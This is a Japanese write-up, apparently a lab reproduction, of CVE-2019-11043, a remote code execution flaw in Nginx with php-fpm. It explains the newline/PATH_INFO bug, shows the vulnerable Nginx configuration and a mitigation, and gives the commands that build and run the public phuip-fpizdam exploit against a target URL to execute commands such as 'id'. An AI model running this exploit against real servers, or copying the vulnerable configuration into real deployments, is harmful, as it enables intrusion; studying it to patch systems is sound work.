
CVE-2019-11043 PHPリモートコード実行
9月26日、PHP公式が脆弱性の通告を発表し、Nginx + php-fpmを使用するサーバーが特定の設定下でリモートコード実行の脆弱性を持つことを指摘しました。この設定は広く使用されており、影響は大きいです。
脆弱性のPoCは10月22日に公開され、国内のセキュリティメディアが速やかに警告を発しました。
Nginxのfastcgi_split_path_infoは、%0aを含むリクエストを処理する際に、改行文字\nに遭遇するとPATH_INFOが空になります。一方、php-fpmはPATH_INFOが空の場合に論理的な欠陥があります。攻撃者は巧妙に構築し悪用することで、リモートコード実行を引き起こす可能性があります。
Nginx + php-fpmのサーバーで、以下の設定を使用している場合、リモートコード実行の脆弱性が存在する可能性があります。
location ~ [^/]\.php(/|$) {
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
通常の業務に影響を与えない場合、Nginx設定ファイルから以下の設定を削除してください。
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
このPoCはFastCGI変数_fcgi_data_segの最適化を利用しています。この最適化はPHP7のみに存在するため、公開されたexploitはPHP7でのみ有効です。PHP5環境では別のexploitが必要です。
環境を構成し、nginx + php-fpmを構築して、動作が有効であることを確認します。
php7をダウンロードし、解凍してディレクトリに入る
wget -c http://cn2.php.net/distributions/php-7.2.4.tar.gz
tar -xzvf php-7.2.4.tar.gz
圧縮、sslなどの関連依存パッケージをインストール
yum install -y libxml2*
yum install -y openssl*
yum install -y libcurl*
yum install -y libjpeg*
yum install -y libpng*
yum install -y freetype*
yum install -y libmcrypt*
configure でソースコードをコンパイル
./configure --prefix=/usr/local/php --with-config-file-path=/usr/local/php/etc --with-mysqli --with-pdo-mysql --with-iconv-dir --with-freetype-dir --with-jpeg-dir --with-png-dir --with-zlib --with-libxml-dir --enable-simplexml --enable-xml --disable-rpath --enable-bcmath --enable-soap --enable-zip --with-curl --enable-fpm --with-fpm-user=www --with-fpm-group=www --enable-mbstring --enable-sockets --with-gd --with-openssl --with-mhash --enable-opcache --disable-fileinfo
make & make install
php-fpmの設定(複数のPHPを設定する場合は、ポート9000を9001に変更可能)
php-fpm設定ファイルを変更:
$ cd /usr/local/php/etc
$ cp php-fpm.conf.default php-fpm.conf
$ vi php-fpm.conf
pid = run/php-fpm.pid の前のセミコロンを削除
$ cd php-fpm.d
$ cp www.conf.default www.conf (ポート変更)
$ vi www.conf
userとgroupのユーザーをroot以外に変更
./php-fpm
nginx.confに以下の設定を追加:
location ~ [^/]\.php(/|$) {
root /opt/apache/www;
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass 127.0.0.1:9001;
include fastcgi_params;
}
nginxを再起動
Goをインストールし、PoCコードをコンパイル
go get github.com/neex/phuip-fpizdam (ファイルはGoのsrcディレクトリにダウンロードされます)
go build github.com/neex/phuip-fpizdam (フルパスで、カレントディレクトリに実行ファイルが生成されます)
PoCを実行
./phuip-fpizdam http://website.com/index.php
./phuip-fpizdam http://website.com/index.php?a=command
[残念ながら、環境設定に問題があり、検証に失敗しました]
2019/10/29 01:13:19 Detect() returned error: no qsl candidates found, invulnerable or something wrong
このdockerプロジェクトファイルをダウンロード
docker-compose up -d でdockerコンテナを実行

プログラムを実行し、実行成功を表示。脆弱性を利用してコマンド"id"をエコーバック

dockerサービスを停止 docker ps docker stop id